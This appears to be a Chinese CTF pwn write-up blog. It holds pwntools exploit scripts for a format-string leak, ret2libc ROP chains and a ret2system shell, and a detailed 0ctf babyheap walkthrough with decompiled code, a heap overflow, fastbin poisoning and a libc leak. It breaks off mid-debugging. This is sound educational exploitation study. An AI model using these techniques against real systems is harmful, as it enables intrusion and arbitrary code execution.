payload=b'a'*(0x18+4)+p32(win1_addr)+p32(win2_addr)+p32(flag_addr)+p32(win2_a1)+p32(flag_a1)
p.sendline(payload)
p.interactive()

[HUBUCTF 2022 新生赛]fmt

这道题实现了BROP的思想,利用格式化字符串漏洞泄露目标程序的栈中的信息,并通过多次利用格式化字符串漏洞,逐步获取flag。遇到的很少所以记录一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
p=remote('node2.anna.nssctf.cn',28231)
elf=ELF('./fmt')
def get_flag(k):
p.sendlineafter(b'service',k)
p.recvuntil(b'0x')
a=p.recvline()[:-1][::-1]
f=''
for i in range(0,len(a),2):
f+=chr(int(a[i:i+2][::-1],16))
return f
flag=''
for i in range(12,20):
flag+=get_flag(b'%'+str(i).encode()+b'$p')
print('flag='+flag)

get_flag函数接受一个参数 k,向目标程序发送一个字符串(请求),并根据目标程序的响应获取 flag 的值。在这个函数中,先将 k 发送给目标程序,然后获取响应中 0x 开头的字符串(栈中地址),将该字符串逆序([::-1])后截断去掉换行符,再按照每两个字符转换成相应的 ascii 码,并组成新的字符串 f 返回。

for 循环从 12 到 19,每次将一个参数中的某一个参数设置成 fmt 字符串的参数位置(如12$p’、13$p’),然后调用 get_flag() 函数获取返回值,并将返回值添加到 flag 中。

[2021 鹤城杯]babyof

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
p = remote('1.14.71.254',28597)
libc = ELF('libc-2.27.so')
elf = ELF('babyof')
ret = 0x0000000000400506
pop_rdi = 0x0000000000400743
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x40066B
p.recvuntil("?")
payload = b'a'*0x40 + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +p64(main)
p.sendline(payload)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
binsh = libc_base + 0x00000000001b3e1a
system = libc_base + libc.sym['system']
p.recvuntil("?")
payload = b'a'*0x40 + p64(0) + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload)
p.interactive()

[WUSTCTF 2020]getshell2

tips: p32(system_plt) + p32(0) + p32(str_binsh) 可以替换成 p32(call_system) + p32(str_sh)
这是因为 call system 指令执行后会被当前 eip 寄存器的值压栈,所以在 p32(system_plt) + p32(0) + p32(str_binsh) 中我们用 p32(0) 作为 eip 寄存器的值进入栈中。那么我们使用 call system 指令的时候就不需要 p32(0) 作为 eip 寄存器的值进入栈中(call system 指令会自动实现将当前 eip 寄存器的值压栈),所以该指令后面直接跟参数
同样的,在 linux 中,/bin/sh 是二进制文件,而 sh 是环境变量,相当于执行 /bin/sh

1
2
3
4
5
6
from pwn import*
p=remote('node3.anna.nssctf.cn',28711)
elf=ELF('./service')
payload = b'a'*0x1c + p32(0x08048529) + p32(next(elf.search(b'sh\x00')))
p.sendline(payload)
p.interactive()

0ctf_2017_babyheap

前言:buu刷题遇到到第一道堆题,是我刷题到目前为止遇到到最大的挑战,我也是看了很多wp才逐渐理解这道题的思路,希望可以慢慢前进吧

分析:

静态分析

1.chesksec查看保护机制:
1
2
3
4
5
6
[*] '/home/fanfan/pwn challenges/heap/babyheap_0ctf_2017'    
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开,那必然就要想办法泄漏出 libc 基地址的偏移量来实现调用其他函数

2.运行程序:
1
2
3
4
5
6
===== Baby Heap in 2017 ===== 
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit Command:

菜单题,几个功能分别是分配、填充、释放和输出

3.拖入 IDA 64bit 分析:

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v4; // [rsp+8h] [rbp-8h]

v4 = sub_B70();
while ( 1 )
{
menu();
switch ( get_number() )
{
case 1LL:
add((__int64)v4);
break;
case 2LL:
edit(v4);
break;
case 3LL:
free_0(v4);
break;
case 4LL:
show(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}

然后看一下sub_B70()函数(为了便于分析,我已经将其中有些匿名函数重命名了)

sub_B70()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
char *sub_B70()
{
int fd; // [rsp+4h] [rbp-3Ch]
char *addr; // [rsp+8h] [rbp-38h]
unsigned __int64 v3; // [rsp+10h] [rbp-30h]
__int64 buf[4]; // [rsp+20h] [rbp-20h] BYREF

buf[3] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("===== Baby Heap in 2017 =====");
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 )
exit(-1);
close(fd);
addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL);
v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
exit(-1);
return &addr[v3];
}

有个mmp函数,整个函数就是获取一块空间

mmp函数:将硬盘上的一块区域映射为虚拟内存

void *mmap(void addr, size_t length, int prot, int flags, int fd, off_t offset); 创建共享内存映射

参数:

addr: 指定映射区的首地址。通常传NULL,表示让系统自动分配

length:共享内存映射区的大小。(<= 文件的实际大小,通常为文件大小)

prot: 共享内存映射区的读写属性。PROT_READ(读)、PROT_WRITE(写)、PROT_READ|PROT_WRITE(读写)

flags: 标注共享内存的共享属性。

MAP_SHARED(共享,会将映射区所做的操作反映到物理设备(磁盘)上。) MAP_PRIVATE(私有,映射区所做的修改不会反映到物理设备。 )

fd: 用于创建共享内存映射区的那个文件的 文件描述符.

offset:默认0,表示映射文件全部。偏移位置。需是 4k 的整数倍。

返回值: 成功:映射区的首地址。

失败:MAP_FAILED (void(-1)), error

接下来看一下菜单里的各个函数

1.allocate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall add(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int number; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )//循环16次,也就是存在16块可用地址空间
{
if ( !*(_DWORD *)(24LL * i + a1) )//判断该空间是否被使用
{
printf("Size: ");
number = get_number();//输入size大小
if ( number > 0 )
{
if ( number > 4096 )//输入的size要在0和4096之间
number = 4096;
v3 = calloc(number, 1uLL);//获得size大小的内存空间,calloc会将会将内存数据置为0
if ( !v3 )
exit(-1);//获取失败则推出
*(_DWORD *)(24LL * i + a1) = 1;//将该内存标记为1,即已经用了
*(_QWORD *)(a1 + 24LL * i + 8) = number;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}

void *calloc(size_t nitems, size_t size) 分配所需的内存空间,并返回一个指向它的指针。malloc 和 calloc 之间的不同点是,malloc 不会设置内存为零,而 calloc 会设置分配的内存为零。

参数

nitems – 要被分配的元素个数。

size – 元素的大小

返回值

该函数返回一个指针,指向已分配的内存。如果请求失败,则返回 NULL。

该函数大概就是申请一块size内存,将内存信息写入,简单化一下结构图:

2.FILL(存在漏洞!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall edit(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = get_number();//获取需要填充的index
v2 = result;
if ( (unsigned int)result <= 0xF )//判断索引是否在范围之内
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )//判断index是否已经被使用过
{
printf("Size: ");
result = get_number();//获取填充字节大小
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);//填充指向的堆空间,大小为刚输入的大小,sub_11B2时写的一个读取函数,一个一个读取
}
}
}
return result;
}

这个函数大致上就是堆idx的块设置size,并填入context

这里就出现一个问题,在Allcate中我们输入size申请一块大小size大小的内存,但是Fill函数又让我们输入一遍size,然后读size大小的数据到该区域指向的内存空间。这存在很大问题,若我们fill输入size无限大,就可以把堆撑爆,存在漏洞!

3.Free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_F50(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = get_number();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}

释放idx的块,将该区域使用位置为0,并将指针指为0,即指针跟着释放

4.Dump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall show(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = get_number();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
return puts(byte_14F1);
}
}
return result;
}

打印idx的块内容

利用思路

漏洞分析

fill中的size可以重新设置,故可以造成堆溢出。

使用两次double free与fastbin attack,通过unsorted bin的特性,若unsorted bin中只有一个chunk的时候,这个chunk的fd和bk指针存放的都是main_arena+88,我们可以这获得libc的基地址

获取libc的基址

libc的基址通过unsorted bin的特性获得,只要申请一块较大的chunk,并free掉,该chunk的fd和bk地址便可用来计算。因此我们要获得被free掉的chunk内容,而dump函数就算输出chunk内容。因此要使得两个指针指向同一个较大的chunk块,将其中一个指针chunk释放,另一个使用dump获取地址内存

动态调试

根据题目情况构造好交互函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *

p=process('./babyheap_0ctf_2017')
def debug():
attach(p)
pause()
def allo(size):
p.recvuntil("Command: ")
p.sendline(str(1))
p.recvuntil("Size: ")
p.sendline(str(size))

def fill(idx,size,content):
p.recvuntil("Command: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(content)

def free(idx):
p.recvuntil("Command: ")
p.sendline(str(3))
p.recvuntil("Index: ")
p.sendline(str(idx))

def dump(idx):
p.recvuntil("Command: ")
p.sendline(str(4))
p.recvuntil("Index: ")
p.sendline(str(idx))
首先申请初始块
1
2
3
4
5
allo(0x10)#0 方便修改第1,2块
allo(0x10)#1
allo(0x10)#2
allo(0x10)#3 方便修改0x80堆块
allo(0x80)#4

这里遇到了些许版本问题,因为2.23libc版本中没有tcachebins,但是我的ubuntu的libc版本是2.26的,所以本地动态调试的时候会出现不同.于是我就学习了一下怎样更换elf文件的glibc,这里简单记一下,需要的两个工具:patchelf和glibc-all-in-one

安装完毕后,首先使用glibc-all-in-one现在题目对应的gilbc

./download (cat list后所显示的gilbc各种版本中所需要的版本)

下载好的glibc在lib文件夹中,然后复制ld文件到pwn题目录下,此命令我是在题目终端下执行的,题目文件夹下面应该有这三个文件

然后ldd 对应题目查看glibc和ld

替换libc文件,设置ld文件

patchelf –replace-needed libc.so.6 ./libc-2.23.so ./babyheap_0ctf_2017
————————-原本的libc—-要替换的libc—–pwn文件

patchelf –set-interpreter ./ld-2.23.so ./babyheap_0ctf_2017

—————————对应的ld文件—-pwn文件

然后继续

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x56052e116000
Size: 0x21
#1
Free chunk (fastbins) | PREV_INUSE
Addr: 0x56052e116020
Size: 0x21
fd: 0x00
#2 指向块1,先进后出 为doublefree做准备
Free chunk (fastbins) | PREV_INUSE
Addr: 0x56052e116040
Size: 0x21
fd: 0x56052e116020
#3
Allocated chunk | PREV_INUSE
Addr: 0x56052e116060
Size: 0x21
#4
Allocated chunk | PREV_INUSE
Addr: 0x56052e116080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x56052e116110
Size: 0x20ef1

pwndbg> x/50gx 0x55c755e0d000
0x55c755e0d000: 0x0000000000000000 0x0000000000000021
0x55c755e0d010: 0x0000000000000000 0x0000000000000000
0x55c755e0d020: 0x0000000000000000 0x0000000000000021
0x55c755e0d030: 0x0000000000000000 0x0000000000000000
0x55c755e0d040: 0x0000000000000000 0x0000000000000021
0x55c755e0d050: 0x0000000000000000 0x0000000000000000
0x55c755e0d060: 0x0000000000000000 0x0000000000000021
0x55c755e0d070: 0x0000000000000000 0x0000000000000000
0x55c755e0d080: 0x0000000000000000 0x0000000000000091
0x55c755e0d090: 0x0000000000000000 0x0000000000000000
0x55c755e0d0a0: 0x0000000000000000 0x0000000000000000
0x55c755e0d0b0: 0x0000000000000000 0x0000000000000000
0x55c755e0d0c0: 0x0000000000000000 0x0000000000000000
0x55c755e0d0d0: 0x0000000000000000 0x0000000000000000
0x55c755e0d0e0: 0x0000000000000000 0x0000000000000000
0x55c755e0d0f0: 0x0000000000000000 0x0000000000000000
0x55c755e0d100: 0x0000000000000000 0x0000000000000000
0x55c755e0d110: 0x0000000000000000 0x0000000000020ef1
0x55c755e0d120: 0x0000000000000000 0x0000000000000000
0x55c755e0d130: 0x0000000000000000 0x0000000000000000
0x55c755e0d140: 0x0000000000000000 0x0000000000000000
0x55c755e0d150: 0x0000000000000000 0x0000000000000000
0x55c755e0d160: 0x0000000000000000 0x0000000000000000
0x55c755e0d170: 0x0000000000000000 0x0000000000000000
0x55c755e0d180: 0x0000000000000000 0x0000000000000000


1
2
free(1) 
free(2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
pwndbg> heap                                   
Allocated chunk | PREV_INUSE
Addr: 0x555f4fda7000
Size: 0x21
#1
Free chunk (fastbins) | PREV_INUSE
Addr: 0x555f4fda7020
Size: 0x21
fd: 0x00
#2
Free chunk (fastbins) | PREV_INUSE
Addr: 0x555f4fda7040
Size: 0x21
fd: 0x555f4fda7020

Allocated chunk | PREV_INUSE
Addr: 0x555f4fda7060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555f4fda7080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x555f4fda7110
Size: 0x20ef1

pwndbg> bins
fastbins
0x20: 0x555f4fda7040 —▸ 0x555f4fda7020 ◂— 0x0#2指向块1
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/50gx 0x555f4fda7000
0x555f4fda7000: 0x0000000000000000 0x0000000000000021
0x555f4fda7010: 0x0000000000000000 0x0000000000000000
0x555f4fda7020: 0x0000000000000000 0x0000000000000021
0x555f4fda7030: 0x0000000000000000 0x0000000000000000
0x555f4fda7040: 0x0000000000000000 0x0000000000000021
0x555f4fda7050: 0x0000555f4fda7020 0x0000000000000000
0x555f4fda7060: 0x0000000000000000 0x0000000000000021
0x555f4fda7070: 0x0000000000000000 0x0000000000000000
0x555f4fda7080: 0x0000000000000000 0x0000000000000091
0x555f4fda7090: 0x0000000000000000 0x0000000000000000
0x555f4fda70a0: 0x0000000000000000 0x0000000000000000
0x555f4fda70b0: 0x0000000000000000 0x0000000000000000
0x555f4fda70c0: 0x0000000000000000 0x0000000000000000
0x555f4fda70d0: 0x0000000000000000 0x0000000000000000
0x555f4fda70e0: 0x0000000000000000 0x0000000000000000
0x555f4fda70f0: 0x0000000000000000 0x0000000000000000
0x555f4fda7100: 0x0000000000000000 0x0000000000000000
0x555f4fda7110: 0x0000000000000000 0x0000000000020ef1
0x555f4fda7120: 0x0000000000000000 0x0000000000000000
0x555f4fda7130: 0x0000000000000000 0x0000000000000000
0x555f4fda7140: 0x0000000000000000 0x0000000000000000
0x555f4fda7150: 0x0000000000000000 0x0000000000000000
0x555f4fda7160: 0x0000000000000000 0x0000000000000000
0x555f4fda7170: 0x0000000000000000 0x0000000000000000
0x555f4fda7180: 0x0000000000000000 0x0000000000000000

两个free的堆块均在fastbins中

填充2号位置,使其指向4号位置

通过漏洞fill堆溢出,修改块2里指向块1的低地址,修改为0x80,即可使得块2指向块4

1
2
3
payload = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)
payload +=p8(0x80)#使2的chunk空闲块指向四号块的位置,四号块的位置为较大的chunk,用来获取目标为地址
fill(0,len(payload),payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> x/50gx 0x557919ada000        
0x557919ada000: 0x0000000000000000 0x0000000000000021
0x557919ada010: 0x0000000000000000 0x0000000000000000
0x557919ada020: 0x0000000000000000 0x0000000000000021
0x557919ada030: 0x0000000000000000 0x0000000000000000
0x557919ada040: 0x0000000000000000 0x0000000000000021
0x557919ada050: 0x0000557919ada080 0x0000000000000000
0x557919ada060: 0x0000000000000000 0x0000000000000021
0x557919ada070: 0x0000000000000000 0x0000000000000000
0x557919ada080: 0x0000000000000000 0x0000000000000091
0x557919ada090: 0x0000000000000000 0x0000000000000000
0x557919ada0a0: 0x0000000000000000 0x0000000000000000
0x557919ada0b0: 0x0000000000000000 0x0000000000000000
0x557919ada0c0: 0x0000000000000000 0x0000000000000000
0x557919ada0d0: 0x0000000000000000 0x0000000000000000
0x557919ada0e0: 0x0000000000000000 0x0000000000000000
0x557919ada0f0: 0x0000000000000000 0x0000000000000000
0x557919ada100: 0x0000000000000000 0x0000000000000000
0x557919ada110: 0x0000000000000000 0x0000000000020ef1
0x557919ada120: 0x0000000000000000 0x0000000000000000
0x557919ada130: 0x0000000000000000 0x0000000000000000
0x557919ada140: 0x0000000000000000 0x0000000000000000
0x557919ada150: 0x0000000000000000 0x0000000000000000
0x557919ada160: 0x0000000000000000 0x0000000000000000
0x557919ada170: 0x0000000000000000 0x0000000000000000
0x557919ada180: 0x0000000000000000 0x0000000000000000
1
2
payload +=p64(0)*3+p64(0x21) 
fill(3,len(payload),payload)#使四好块的大小变成了0x21,这样四号就意义上被free掉了

为绕过检测,修改块4:0x80->0x10,溢出实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
pwndbg> heap     #修改成功,但是由于chunk4的大小修改了,故找不到topchunk了,故后期需要把大小:0x10->0x80                                                  
Allocated chunk | PREV_INUSE
Addr: 0x56359b821000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x56359b821020
Size: 0x21
#2
Free chunk (fastbins) | PREV_INUSE
Addr: 0x56359b821040
Size: 0x21
fd: 0x56359b821080

Allocated chunk | PREV_INUSE
Addr: 0x56359b821060
Size: 0x21
#4
Free chunk (fastbins) | PREV_INUSE
Addr: 0x56359b821080
Size: 0x21
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x56359b8210a0
Size: 0x21

Allocated chunk
Addr: 0x56359b8210c0
Size: 0x2100

Allocated chunk
Addr: 0x56359b8231c0
Size: 0x00

pwndbg> bins
fastbins #可以看到fastbin中,二号位置已经指向了4号位置,并且4号位置大小被改为0x21
0x20: 0x56359b821040 —▸ 0x56359b821080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

pwndbg> x/50gx 0x56359b821000
0x56359b821000: 0x0000000000000000 0x0000000000000021
0x56359b821010: 0x0000000000000000 0x0000000000000000
0x56359b821020: 0x0000000000000000 0x0000000000000021
0x56359b821030: 0x0000000000000000 0x0000000000000000
0x56359b821040: 0x0000000000000000 0x0000000000000021
0x56359b821050: 0x000056359b821080 0x0000000000000000
0x56359b821060: 0x0000000000000000 0x0000000000000021
0x56359b821070: 0x0000000000000000 0x0000000000000000
0x56359b821080: 0x0000000000000000 0x0000000000000021
0x56359b821090: 0x0000000000000000 0x0000000000000000
0x56359b8210a0: 0x0000000000000000 0x0000000000000021
0x56359b8210b0: 0x0000000000000080 0x0000000000000000
0x56359b8210c0: 0x0000000000000000 0x0000000000002100
0x56359b8210d0: 0x0000000000000000 0x0000000000000000
0x56359b8210e0: 0x0000000000000000 0x0000000000000000
0x56359b8210f0: 0x0000000000000000 0x0000000000000000
0x56359b821100: 0x0000000000000000 0x0000000000000000
0x56359b821110: 0x0000000000000000 0x0000000000020ef1
0x56359b821120: 0x0000000000000000 0x0000000000000000
0x56359b821130: 0x0000000000000000 0x0000000000000000
0x56359b821140: 0x0000000000000000 0x0000000000000000
0x56359b821150: 0x0000000000000000 0x0000000000000000
0x56359b821160: 0x0000000000000000 0x0000000000000000
0x56359b821170: 0x0000000000000000 0x0000000000000000
0x56359b821180: 0x0000000000000000 0x0000000000000000

重新申请空间,将四号位置分配回来

再申请两块0x21大小的空间,注意,申请第一个时,index=1 为原来的2号chunk;申请第二个时,index=2,为原来的4号chunk;但我们最终想让4号chunk再次free掉,进入unsorted bin中,因此要将4号chunk大小改回0x91,这样也能让top chunk找到。

1
2
allo(0x10) # 申请原本2号块 
allo(0x10) # 这里就会申请到4号块的位置

1、2、4

释放:块1->块2

修改:块2->块4

重新申请:块4->块2(idx1->idx2)

原块1直接释放态->allocate态

原块2->idx1

原块4->idx2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55cdf6b69000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55cdf6b69020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55cdf6b69040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55cdf6b69060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55cdf6b69080
Size: 0x21

Allocated chunk
Addr: 0x55cdf6b6b1c0
Size: 0x00

重新修改chunk4:0x10->0x80

为了让top chunk重新找得到,故需要重新将chunk4的大小修改回0x80,以便于之后申请操作

1
2
payload = p64(0)*3 + p64(0x91) 
fill(3,len(payload),payload) # 将4号块的大小改回 0x91,不然找不到top chunk位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pwndbg> heap
#0
Allocated chunk | PREV_INUSE
Addr: 0x559e88077000
Size: 0x21
#1
Allocated chunk | PREV_INUSE
Addr: 0x559e88077020
Size: 0x21
#new 1
Allocated chunk | PREV_INUSE
Addr: 0x559e88077040
Size: 0x21
#3
Allocated chunk | PREV_INUSE
Addr: 0x559e88077060
Size: 0x21
#2,4
Allocated chunk | PREV_INUSE
Addr: 0x559e88077080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x559e88077110
Size: 0x20ef1

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/50gx 0x559e88077000
0x559e88077000: 0x0000000000000000 0x0000000000000021
0x559e88077010: 0x0000000000000000 0x0000000000000000
0x559e88077020: 0x0000000000000000 0x0000000000000021
0x559e88077030: 0x0000000000000000 0x0000000000000000
0x559e88077040: 0x0000000000000000 0x0000000000000021
0x559e88077050: 0x0000000000000000 0x0000000000000000
0x559e88077060: 0x0000000000000000 0x0000000000000021
0x559e88077070: 0x0000000000000000 0x0000000000000000
0x559e88077080: 0x0000000000000000 0x0000000000000091
0x559e88077090: 0x0000000000000000 0x0000000000000000
0x559e880770a0: 0x0000000000000000 0x0000000000000021
0x559e880770b0: 0x0000000000000080 0x0000000000000000
0x559e880770c0: 0x0000000000000000 0x0000000000002100
0x559e880770d0: 0x0000000000000000 0x0000000000000000
0x559e880770e0: 0x0000000000000000 0x0000000000000000
0x559e880770f0: 0x0000000000000000 0x0000000000000000
0x559e88077100: 0x0000000000000000 0x0000000000000000
0x559e88077110: 0x0000000000000000 0x0000000000020ef1
0x559e88077120: 0x0000000000000000 0x0000000000000000
0x559e88077130: 0x0000000000000000 0x0000000000000000
0x559e88077140: 0x0000000000000000 0x0000000000000000
0x559e88077150: 0x0000000000000000 0x0000000000000000
0x559e88077160: 0x0000000000000000 0x0000000000000000
0x559e88077170: 0x0000000000000000 0x0000000000000000
0x559e88077180: 0x0000000000000000 0x0000000000000000

申请一个块,防止块4free与top chunk合并

1
allo(0x80)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55cf4877d000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55cf4877d020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55cf4877d040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55cf4877d060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55cf4877d080
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x55cf4877d110
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x55cf4877d1a0
Size: 0x20e61

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/50gx 0x55cf4877d000
0x55cf4877d000: 0x0000000000000000 0x0000000000000021
0x55cf4877d010: 0x0000000000000000 0x0000000000000000
0x55cf4877d020: 0x0000000000000000 0x0000000000000021
0x55cf4877d030: 0x0000000000000000 0x0000000000000000
0x55cf4877d040: 0x0000000000000000 0x0000000000000021
0x55cf4877d050: 0x0000000000000000 0x0000000000000000
0x55cf4877d060: 0x0000000000000000 0x0000000000000021
0x55cf4877d070: 0x0000000000000000 0x0000000000000000
0x55cf4877d080: 0x0000000000000000 0x0000000000000091
0x55cf4877d090: 0x0000000000000000 0x0000000000000000
0x55cf4877d0a0: 0x0000000000000000 0x0000000000000021
0x55cf4877d0b0: 0x0000000000000080 0x0000000000000000
0x55cf4877d0c0: 0x0000000000000000 0x0000000000002100
0x55cf4877d0d0: 0x0000000000000000 0x0000000000000000
0x55cf4877d0e0: 0x0000000000000000 0x0000000000000000
0x55cf4877d0f0: 0x0000000000000000 0x0000000000000000
0x55cf4877d100: 0x0000000000000000 0x0000000000000000
0x55cf4877d110: 0x0000000000000000 0x0000000000000091
0x55cf4877d120: 0x0000000000000000 0x0000000000000000
0x55cf4877d130: 0x0000000000000000 0x0000000000000000
0x55cf4877d140: 0x0000000000000000 0x0000000000000000
0x55cf4877d150: 0x0000000000000000 0x0000000000000000
0x55cf4877d160: 0x0000000000000000 0x0000000000000000
0x55cf4877d170: 0x0000000000000000 0x0000000000000000
0x55cf4877d180: 0x0000000000000000 0x0000000000000000
free(4)

此时已经存在两个index指向一个chunk。一个是最开始申请的index=4,一个是后边再重新申请的index=2,这时free(4),4号chunk的fd和bk变成了main+arena+88地址,_malloc_hook=main_arena-0x10

1
2
3
4
free(4)    # 释放4号块 
dump(2)
__malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\0')) - 88 - 0x10
libc_base = __malloc_hook - libc.symbols["__malloc_hook"] print(hex(libc_base))

打印idx2(即idx4内容)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55a48aeca000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55a48aeca020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55a48aeca040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55a48aeca060
Size: 0x21
#free(4)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55a48aeca080
Size: 0x91
fd: 0x7f46cb771b78
bk: 0x7f46cb771b78

Allocated chunk
Addr: 0x55a48aeca110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x55a48aeca1a0
Size: 0x20e61

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
